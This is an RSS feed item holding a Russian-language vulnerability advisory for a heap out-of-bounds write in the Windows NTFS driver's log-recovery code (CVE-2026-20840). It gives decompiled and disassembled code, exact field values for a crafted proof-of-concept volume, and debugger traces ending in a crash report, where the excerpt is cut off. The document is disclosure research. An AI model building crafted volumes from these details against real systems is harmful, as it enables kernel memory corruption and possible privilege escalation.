<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>author_vr &#8211; PT ESC</title>
	<atom:link href="/author/author_vr/feed/index.xml" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description></description>
	<lastBuildDate>Wed, 07 Oct 2026 13:53:34 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.3</generator>

<image>
	<url>/wp-content/uploads/2026/09/cropped-cropped-large_icon-32x32.png</url>
	<title>author_vr &#8211; PT ESC</title>
	<link>/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Out-of-bounds write in ntfs!PageUpdateAnalysis</title>
		<link>/out-of-bounds-write-in-ntfspageupdateanalysis/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Wed, 07 Oct 2026 11:19:42 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[escvr]]></category>
		<guid isPermaLink="false">/?p=1111&#038;preview=true&#038;preview_id=1111</guid>

					<description><![CDATA[BDU PT CVE 2025-12465 2026-2690 2026-20840 Краткое описание В функции ntfs!PageUpdateAnalysis драйвера NTFS в Microsoft Windows существует уязвимость типа переполнения буфера в куче. Специально сформированный том NTFS может привести к записи за…]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>BDU</th><th>PT</th><th>CVE</th></tr></thead><tbody><tr><td><a href="https://bdu.fstec.ru/vul/2025-12465">2025-12465</a></td><td><a href="https://dbugs.ptsecurity.com/vulnerability/PT-2026-2690?fts%5Bvalue%5D=CVE-2026-20840">2026-2690</a></td><td><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20840">2026-20840</a></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Краткое описание</h3>



<p class="wp-block-paragraph">В функции <code>ntfs!PageUpdateAnalysis</code> драйвера NTFS в Microsoft Windows существует уязвимость типа переполнения буфера в куче. Специально сформированный том NTFS может привести к записи за пределами выделенной области памяти ядра <code>NonPagedPoolNx</code> во время восстановления журнала.</p>



<p class="wp-block-paragraph">Злоумышленник может воспользоваться уязвимостью, заставив уязвимую систему Windows смонтировать том, содержащий вредоносные записи <code>$LogFile</code>. Возникающее в результате повреждение памяти ядра может привести к отказу в обслуживании, повышению привилегий или выполнению произвольного кода в ядре.</p>



<h3 class="wp-block-heading">Ссылка на продукт</h3>



<p class="wp-block-paragraph">Microsoft Windows — <a href="https://www.microsoft.com/windows">https://www.microsoft.com/windows</a></p>



<h3 class="wp-block-heading">CWE</h3>



<p class="wp-block-paragraph"><a href="https://cwe.mitre.org/data/definitions/787.html" data-type="link" data-id="https://cwe.mitre.org/data/definitions/787.html">CWE-787: Out-of-bounds Write</a></p>



<h3 class="wp-block-heading">Детали</h3>



<p class="wp-block-paragraph">NTFS — основная файловая система, используемая Microsoft Windows. Ее журнал метаданных <code>$LogFile</code> содержит записи, которые используются для восстановления согласованного состояния файловой системы после прерванных операций.</p>



<p class="wp-block-paragraph"><code>ntfs!AnalysisPass</code> реализует фазу анализа при восстановлении NTFS после перезапуска, которая предшествует фазам <code>redo</code> и <code>undo</code>. Функция просматривает записи журнала начиная с последней контрольной точки и восстанавливает состояние, необходимое для восстановления, включая таблицы транзакций и измененных страниц (<code>dirty page tables</code>). Эти таблицы отслеживают незавершенные транзакции и страницы метаданных, изменения которых могли не попасть на диск, что позволяет последующим фазам восстановления определить, какие операции необходимо повторить или откатить.</p>



<p class="wp-block-paragraph"><code>ntfs!PageUpdateAnalysis</code> обрабатывает записи обновления страниц во время этой фазы анализа. Стек вызова при монтировании выглядит следующим образом:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; gutter: false; title: ; notranslate">
0: kd&gt; k
 # Child-SP          RetAddr               Call Site
00 ffffcd8a`59bc5e08 fffff804`27ae0f6f     Ntfs!PageUpdateAnalysis
01 ffffcd8a`59bc5e10 fffff804`27b45000     Ntfs!AnalysisPass+0x22b
02 ffffcd8a`59bc5f30 fffff804`27acc3be     Ntfs!NtfsRestartVolume+0xbc
03 ffffcd8a`59bc60a0 fffff804`27ac9f86     Ntfs!NtfsMountVolume+0x1816
04 ffffcd8a`59bc67e0 fffff804`2793e639     Ntfs!NtfsCommonFileSystemControl+0xb6
05 ffffcd8a`59bc68c0 fffff804`9478b7ec     Ntfs!NtfsFspDispatch+0x619
06 ffffcd8a`59bc6a10 fffff804`94931afa     nt!ExpWorkerThread+0x5ec
07 ffffcd8a`59bc6bf0 fffff804`94b4ef84     nt!PspSystemThreadStartup+0x5a
08 ffffcd8a`59bc6c40 00000000`00000000     nt!KiStartSystemThread+0x34

</pre></div>


<p class="wp-block-paragraph">NTFS хранит записи измененных страниц в выделенном блоке <code>RESTART_TABLE</code> в ядерном <code>NonPagedPoolNx</code> пуле. Каждая запись содержит массив номеров логических кластеров (<strong>LCN</strong>), емкость которого определяется размером записи:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: plain; title: ; notranslate">
DIRTY_PAGE_ENTRY (simplified):
  +0x00  AllocatedMarker   DWORD   (-1 indicates an in-use entry)
  +0x04  TargetAttribute   USHORT
  +0x08  LengthOfTransfer  ULONG
  +0x0C  LcnsToFollow      ULONG
  +0x10  StartingVcn       8-byte virtual cluster number
  +0x18  OldestLsn         8-byte log sequence number
  +0x20  LcnsForPage&#x5B;]     Array of 8-byte LCN values

</pre></div>


<p class="wp-block-paragraph">Выделение памяти для таблицы <code>RESTART_TABLE</code>  выполняется в <code>ntfs!InitializeRestartState</code>, когда <code>DirtyPageTable</code> загружается из образа диска.</p>



<p class="wp-block-paragraph">В <code>ntfs!PageUpdateAnalysis</code> после того как функция <code>ntfs!FindDirtyPage</code> возвращает существующую запись, происходит копирование значений <strong>LCN</strong> полученных из записи <code>$LogFile</code>, содержащейся на диске, в запись возвращенную функцией <code>ntfs!FindDirtyPage</code>. Именно здесь происходит запись за пределы памяти выделенной ранее для записей возвращаемых функцией <code>ntfs!FindDirtyPage</code>. </p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
// ntfs!PageUpdateAnalysis
if ( !FindDirtyPage(a4, (unsigned __int16)CurrentLogRecord-&gt;TargetAttribute, CurrentLogRecord-&gt;TargetVcn, &amp;v20) ) {
    ... // entry not found
}
while ( 1 ) {
    result = (unsigned __int16)CurrentLogRecord-&gt;LcnsToFollow;
    if ( v8 &gt;= (unsigned int)result ) // v8 is i
      break;
    v20-&gt;LcnsForPage&#x5B;LODWORD(CurrentLogRecord-&gt;TargetVcn) + v8 - LODWORD(v20-&gt;Vcn)] = CurrentLogRecord-&gt;LcnsForPage&#x5B;v8];
    ++v8;
}
return result;

</pre></div>


<p class="wp-block-paragraph">В исследованном бинарном файле <code>ntfs.sys</code> вышеуказанному декомпилированному фрагменту соответствует следующий дизассемблированный код:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
1c025844c  cmp  esi, eax
1c025844e  jnb  loc_1C025846F
1c0258455  mov  rdx, &#x5B;rsp+...]       ; DirtyPage entry
1c025845a  sub  ecx, &#x5B;rdx+10h]       ; subtract StartingVcn, low 32 bits
1c025845d  add  ecx, &#x5B;r13+18h]       ; add TargetVcn, low 32 bits
1c0258461  mov  rax, &#x5B;r13+r8*8+20h]  ; LogRecord-&gt;LcnsForPage&#x5B;i]
1c0258466  mov  &#x5B;rdx+rcx*8+20h], rax ; unchecked destination write
1c025846b  inc  esi
1c025846d  jmp  short loc_1C0258447

</pre></div>


<p class="wp-block-paragraph">Фактический индекс, по которому осуществляется запись, вычисляется с использованием 32-битной арифметики следующим образом:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
Index = i + TargetVcn - StartingVcn

</pre></div>


<p class="wp-block-paragraph"><code>ntfs!FindDirtyPage</code> считает запись подходящей при выполнении условия: <code>StartingVcn &lt;= TargetVcn &lt; StartingVcn + LcnsToFollow</code>:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
char __fastcall FindDirtyPage(
        My_RESTART_POINTERS *a1,
        int TargetAttribute,
        signed __int64 Vcn,
        My_DIRTY_PAGE_ENTRY **DirtyPage)
{
  My_DIRTY_PAGE_ENTRY *i; // rax
  __int64 v9; // rdx

  if ( !a1-&gt;Table )
    return 0;
  for ( i = (My_DIRTY_PAGE_ENTRY *)NtfsGetFirstRestartTable(a1);
        ;
        i = (My_DIRTY_PAGE_ENTRY *)NtfsGetNextRestartTable((__int64)a1, (__int64)i) )
  {
    if ( !i )
    {
      *DirtyPage = 0LL;
      return 0;
    }
    if ( i-&gt;TargetAttribute == TargetAttribute )
    {
      v9 = i-&gt;Vcn; // v9 is a starting VCN
      if ( Vcn &gt;= v9 &amp;&amp; Vcn &lt; v9 + (unsigned int)i-&gt;LcnsToFollow )
        break;
    }
  }
  *DirtyPage = i;
  return 1;
}

</pre></div>


<p class="wp-block-paragraph">Таким образом проверяется, что начальный кластер находится внутри записи, однако не проверяется, помещается ли в нее весь входящий диапазон. При <code>TargetVcn = StartingVcn + k</code>, цикл выполняет запись по индексам от <code>k</code> до <code>k + LcnsToFollow - 1</code>. Переполнение массива возникает при условии:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
k + LcnsToFollow &gt; ClustersPerPage

</pre></div>


<p class="wp-block-paragraph">Функция <code>ntfs!PageUpdateAnalysis</code> содержит проверку необходимости изменения размера <code>RESTART_TABLE</code>, из которой осуществляется выборка функцией <code>ntfs!FindDirtyPage</code>, но эта проверка выполняется только если <code>LcnsToFollow &gt; ClustersPerPage</code>. При этом смещение k не учитывается. В результате запись, количество <strong>LCN </strong>в которой не превышает номинальную емкость, все равно может привести к переполнению массива назначения.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
// ntfs!PageUpdateAnalysis
...
if ( Table ) {
    ClustersPerPage = (((unsigned __int64)(unsigned __int16)Table-&gt;EntrySize - 40) &gt;&gt; 3) + 1;
}
else {
    ClustersPerPage = a2-&gt;ClustersPerPage;
    NtfsInitializeRestartTable(8 * ClustersPerPage + 32, 0x20u, a2-&gt;RestartVersion &gt;= 2u, 0, a4);
}
LcnsToFollow = (unsigned __int16)CurrentLogRecord-&gt;LcnsToFollow;
if ( LcnsToFollow &gt; ClustersPerPage ) {
    ClustersPerPage = (unsigned __int16)CurrentLogRecord-&gt;LcnsToFollow;
    NtfsInitializeRestartTable(
      8 * LcnsToFollow + 32,
      (unsigned __int16)a4-&gt;Table-&gt;NumberEntries,
      a2-&gt;RestartVersion &gt;= 2u,
      0,
      &amp;Resource); // resize
    ...
}
...

</pre></div>


<p class="wp-block-paragraph">Ни перед записью в функции <code>ntfs!PageUpdateAnalysis</code>, ни при чтении записей с диска в <code>ntfs!InitializeRestartState</code> отсутствует достаточная валидация данных, более того, <code>ntfs!InitializeRestartState</code> принимает данные  записей <code>DirtyPageTable</code> как есть, если <code>MajorVersion</code> файла <code>$LogFile</code> не равен нулю.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
// ntfs!InitializeRestartState
...
if ( RestartArea-&gt;DirtyPageTableLength )
  {
    restarted = (My_RESTART_TABLE *)ReadRestartTable(
                                      IrpContext,
                                      Vcb,
                                      RestartArea-&gt;DirtyPageTableLsn,
                                      &amp;Leb,
                                      &amp;RestartAreaLength);
    ExAcquireResourceExclusiveLite(&amp;DirtyPageTable-&gt;Resource, 1u);
    v80 = 1;
    Table = DirtyPageTable-&gt;Table;
    if ( RestartArea-&gt;MajorVersion ) // MajorVersion check
    {
      ExFreePoolWithTag(DirtyPageTable-&gt;Table, 0);
      DirtyPageTable-&gt;Table = 0;
      v26 = RestartAreaLength;
      v27 = (My_RESTART_TABLE *)ExAllocatePoolWithTag((POOL_TYPE)528, RestartAreaLength, &#039;RFtN&#039;);
      DirtyPageTable-&gt;Table = v27;
      memmove(v27, restarted, v26); // data from image has been accepted here
      DirtyPageTable-&gt;Table-&gt;field_A = DirtyPageTable-&gt;Table-&gt;NumberAllocated;
      ExAcquireResourceExclusiveLite(&amp;DirtyPageTable-&gt;Resource, 1u);
      v80 = 1;
      LODWORD(restarted) = 0;
    }
    else
    {
      ...
    }
    ...
}

</pre></div>


<h3 class="wp-block-heading">Proof of Concept</h3>



<p class="wp-block-paragraph">При монтировании специально сформированного тома NTFS выполняет следующие операции:</p>



<ol class="wp-block-list">
<li><code>ntfs!InitializeRestartState</code> считывает сериализованную <code>DirtyPageTable</code> из <code>$LogFile</code>.</li>



<li>Поскольку <code>RESTART_AREA</code> имеет ненулевое значение <code>MajorVersion</code>, вся таблица копируется в новый выделенный буфер <code>NonPagedPoolNx</code>.</li>



<li><code>ntfs!AnalysisPass</code> начинает сканирование с подготовленной контрольной точки.</li>



<li>Следующей обрабатывается специально сформированная запись <code>UpdateResidentValue</code>.</li>



<li>Входящее значение <code>LcnsToFollow</code> равно 8, то есть совпадает с <code>ClustersPerPage</code>, поэтому ветвь изменения размера таблицы не выполняется.</li>



<li><code>ntfs!PageUpdateAnalysis</code> вызывает <code>ntfs!FindDirtyPage</code> с <code>TargetAttribute = 0x18</code> и <code>TargetVcn = 7</code>.</li>



<li><code>ntfs!FindDirtyPage</code> выбирает слот <strong>31</strong>, поскольку его диапазон равен <code>[0, 8)</code> и, следовательно, содержит <strong>VCN 7</strong>.</li>



<li>Уязвимая операция копирования записывает восемь переданных значений <strong>LCN</strong>, начиная с индекса назначения 7.</li>
</ol>



<p class="wp-block-paragraph">В созданной для PoC <code>RESTART_AREA</code> используется <code>MajorVersion = 2</code>. В результате <code>Ntfs!InitializeRestartState</code> выделяет буфер для <code>DirtyPageTable</code> и копирует таблицу непосредственно из образа, не перестраивая ее записи.</p>



<p class="wp-block-paragraph">PoC создает <code>RESTART_TABLE</code> со следующими параметрами:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
EntrySize       = 0x60
NumberEntries   = 32
NumberAllocated = 32

</pre></div>


<p class="wp-block-paragraph">Каждая запись содержит восемь слотов LCN:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
EntrySize = 0x20 + 8 * sizeof(LCN)
          = 0x20 + 8 * 8
          = 0x60

</pre></div>


<p class="wp-block-paragraph">Все 32 записи помечены как занятые, поэтому <code>ntfs!PageUpdateAnalysis</code> не может выбрать или создать свободный слот. Записи с нулевой по 30-ю используют отдельные диапазоны <strong>VCN</strong>, которые не совпадают с диапазоном инициирующей записью. Последняя запись, слот 31, настроена следующим образом:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
AllocatedMarker  = 0xffffffff
TargetAttribute  = 0x18
LengthOfTransfer = 0x1000
StartingVcn      = 0
LcnsToFollow     = 8
LcnsForPage      = {1, 2, 3, 4, 5, 6, 7, 8}

</pre></div>


<p class="wp-block-paragraph">Поскольку слот 31 является последней записью, данные, записываемые за пределами его массива <strong>LCN</strong>, одновременно выходят за пределы всего выделенного блока <code>RESTART_TABLE</code>.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
sizeof(RESTART_TABLE) + NumberEntries * EntrySize
= 0x18 + 32 * 0x60
= 0xc18 (3096 bytes)

</pre></div>


<p class="wp-block-paragraph">В приведенном ниже фрагменте показано, как <code>DirtyPageTable</code> инициализируется во время выполнения, а также часть данных, соответствующих описанной выше структуре.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
0: kd&gt; p
rax=0000000000000001 rbx=ffffe180efdf0200 rcx=ffffe180efdefaa8
rdx=0000000000000000 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a95792 rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=ffff8f8d385def01  r9=ffff8f8d385deae0 r10=0000000000000000
r11=ffffe180efdefb68 r12=ffffe180efdefe00 r13=0000000000000000
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!InitializeRestartState+0x51e:
fffff806`28a95792 4539542438      cmp     dword ptr &#x5B;r12+38h],r10d ds:002b:ffffe180`efdefe38=00000c18
...
1: kd&gt; p
rax=0000000000000000 rbx=0000000000000c18 rcx=0000000000000210
rdx=0000000000000c18 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a95942 rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=000000005246744e  r9=0000000000000000 r10=0000000000000000
r11=0000000000000001 r12=ffffe180efdefe00 r13=ffffcd0fd11c0158
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!InitializeRestartState+0x6ce:
fffff806`28a95942 48ff158f0ae7ff  call    qword ptr &#x5B;Ntfs!_imp_ExAllocatePoolWithTag (fffff806`289063d8)] 
...
1: kd&gt; p
rax=ffff8f8d385d03e0 rbx=0000000000000c18 rcx=ffff8f8d385d03e0
rdx=ffffcd0fd11c0158 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a9595e rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=0000000000000c18  r9=0000000000000080 r10=0000000000000000
r11=ffffe180efdefae0 r12=ffffe180efdefe00 r13=ffffcd0fd11c0158
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
Ntfs!InitializeRestartState+0x6ea:
fffff806`28a9595e e8ddf1e1ff      call    Ntfs!memcpy (fffff806`288b4b40)
1: kd&gt; db ffffcd0fd11c0158
ffffcd0f`d11c0158  60 00 20 00 20 00 00 00-00 00 00 00 00 00 00 00  `. . ...........
ffffcd0f`d11c0168  00 00 00 00 00 00 00 00-ff ff ff ff 18 00 00 00  ................
ffffcd0f`d11c0178  00 10 00 00 08 00 00 00-00 10 00 00 00 00 00 00  ................
ffffcd0f`d11c0188  2b 94 a8 00 00 00 00 00-01 00 00 00 00 00 00 00  +...............
ffffcd0f`d11c0198  02 00 00 00 00 00 00 00-03 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01a8  04 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01b8  06 00 00 00 00 00 00 00-07 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01c8  08 00 00 00 00 00 00 00-ff ff ff ff 18 00 00 00  ................

</pre></div>


<p class="wp-block-paragraph">Запись приводящая к детонации уязвимости, использует redo-операцию <code>UpdateResidentValue</code>, которая передается на обработку в <code>ntfs!PageUpdateAnalysis</code>. Значение некоторых важных полей вы можете видеть ниже:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
RedoOperation   = 0x07
UndoOperation   = 0x02
TargetAttribute = 0x18
TargetVcn       = 7
LcnsToFollow    = 8
ClientDataLength = 0x60
</pre></div>


<p class="wp-block-paragraph">В отладчике видно, как операция обрабатывается в <code>ntfs!PageUpdateAnalysis</code>:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
1: kd&gt; p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=0000000000000000
rdx=ffff8f8d356279e8 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f1c rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=ffffffffffffff01  r9=ffff8f8d35625000 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!AnalysisPass+0x1d8:
fffff806`28a30f1c 410fb70f        movzx   ecx,word ptr &#x5B;r15] ds:002b:ffffcd0f`d11ca188=0007
1: kd&gt; p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=0000000000000007
rdx=ffff8f8d356279e8 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f20 rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=ffffffffffffff01  r9=ffff8f8d35625000 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!AnalysisPass+0x1dc:
fffff806`28a30f20 83f912          cmp     ecx,12h
... // some optimized switch-case related code is here 
0: kd&gt; p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=ffff8f8d3514b7c8
rdx=ffff8f8d357c81b0 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f6a rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=0000000000a8942b  r9=ffffe180efdeff90 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!AnalysisPass+0x226:
fffff806`28a30f6a e8f1080000      call    Ntfs!PageUpdateAnalysis (fffff806`28a31860)

</pre></div>


<p class="wp-block-paragraph">Индексы назначения вычисляются следующим образом:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
Index = i + TargetVcn - StartingVcn = i + 7 - 0 = i + 7

</pre></div>


<p class="wp-block-paragraph">Для <code>i = 0..7</code> получаются следующие индексы:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
7, 8, 9, 10, 11, 12, 13, 14

</pre></div>


<p class="wp-block-paragraph">Индекс 7 является последним допустимым элементом. Индексы с 8 по 14 находятся за пределами записи.</p>



<p class="wp-block-paragraph">Поскольку выбранная запись находится в слоте 31, эти семь значений <strong>LCN</strong> записываются на 56 байт за пределами всей таблицы <code>DirtyPageTable</code>  размером 3096 байт.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
1: kd&gt; p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000008
rdx=0000000000000001 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a3198f rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x12f:
fffff806`28a3198f 8bd6            mov     edx,esi
1: kd&gt; p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000008
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31991 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x131:
fffff806`28a31991 8bce            mov     ecx,esi
1: kd&gt; p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000002
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31993 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x133:
fffff806`28a31993 412b4a10        sub     ecx,dword ptr &#x5B;r10+10h] ds:002b:ffff8f8d`385d0fa8=00000000 // StartingVCN
1: kd&gt; p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000002
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31997 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!PageUpdateAnalysis+0x137: // actually it is i (index) + TargetVCN
fffff806`28a31997 41034d18        add     ecx,dword ptr &#x5B;r13+18h] ds:002b:ffffcd0f`d11ca1a0=00000007 // TargetVCN
1: kd&gt; p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000009
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a3199b rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
Ntfs!PageUpdateAnalysis+0x13b:    // read data that comes from image
fffff806`28a3199b 498b44d520      mov     rax,qword ptr &#x5B;r13+rdx*8+20h] ds:002b:ffffcd0f`d11ca1b8=4141414100000002
1: kd&gt; p
rax=4141414100000002 rbx=0000000000a8942b rcx=0000000000000009 // rcx is i (index)
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a319a0 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
Ntfs!PageUpdateAnalysis+0x140:
fffff806`28a319a0 498944ca20      mov     qword ptr &#x5B;r10+rcx*8+20h],rax ds:002b:ffff8f8d`385d1000=????????????????

</pre></div>


<p class="wp-block-paragraph">Монтирование сгенерированного VHD, в системе с уязвимой версией <code>ntfs.sys,</code> приводит к повреждению памяти происходящему в результате записи за пределами буфера в функции <code>Ntfs!PageUpdateAnalysis</code>:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
1: kd&gt; !analyze -v -force
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff8f8d385d1000, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
    bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the processor decided the fault was due to a corrupted PTE.
    bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
    - ARM64: bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff80628a319a0, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 0000000000000002, (reserved)

Debugging Details:
------------------


KEY_VALUES_STRING: 1

    Key  : AV.PTE
    Value: Invalid

    Key  : AV.Page.Virtual
    Value: 0xffff8f8d385d0000

    Key  : AV.Type
    Value: Write

    Key  : Analysis.CPU.mSec
    Value: 4500

    Key  : Analysis.Elapsed.mSec
    Value: 9710

    Key  : Analysis.IO.Other.Mb
    Value: 14

    Key  : Analysis.IO.Read.Mb
    Value: 15

    Key  : Analysis.IO.Write.Mb
    Value: 201

    Key  : Analysis.Init.CPU.mSec
    Value: 97484

    Key  : Analysis.Init.Elapsed.mSec
    Value: 11291658

    Key  : Analysis.Memory.CommitPeak.Mb
    Value: 265

    Key  : Analysis.Version.DbgEng
    Value: 10.0.29617.1000

    Key  : Analysis.Version.Description
    Value: 10.2604.29.1 amd64fre

    Key  : Analysis.Version.Ext
    Value: 1.2604.29.1

    Key  : Bugcheck.Code.KiBugCheckData
    Value: 0x50

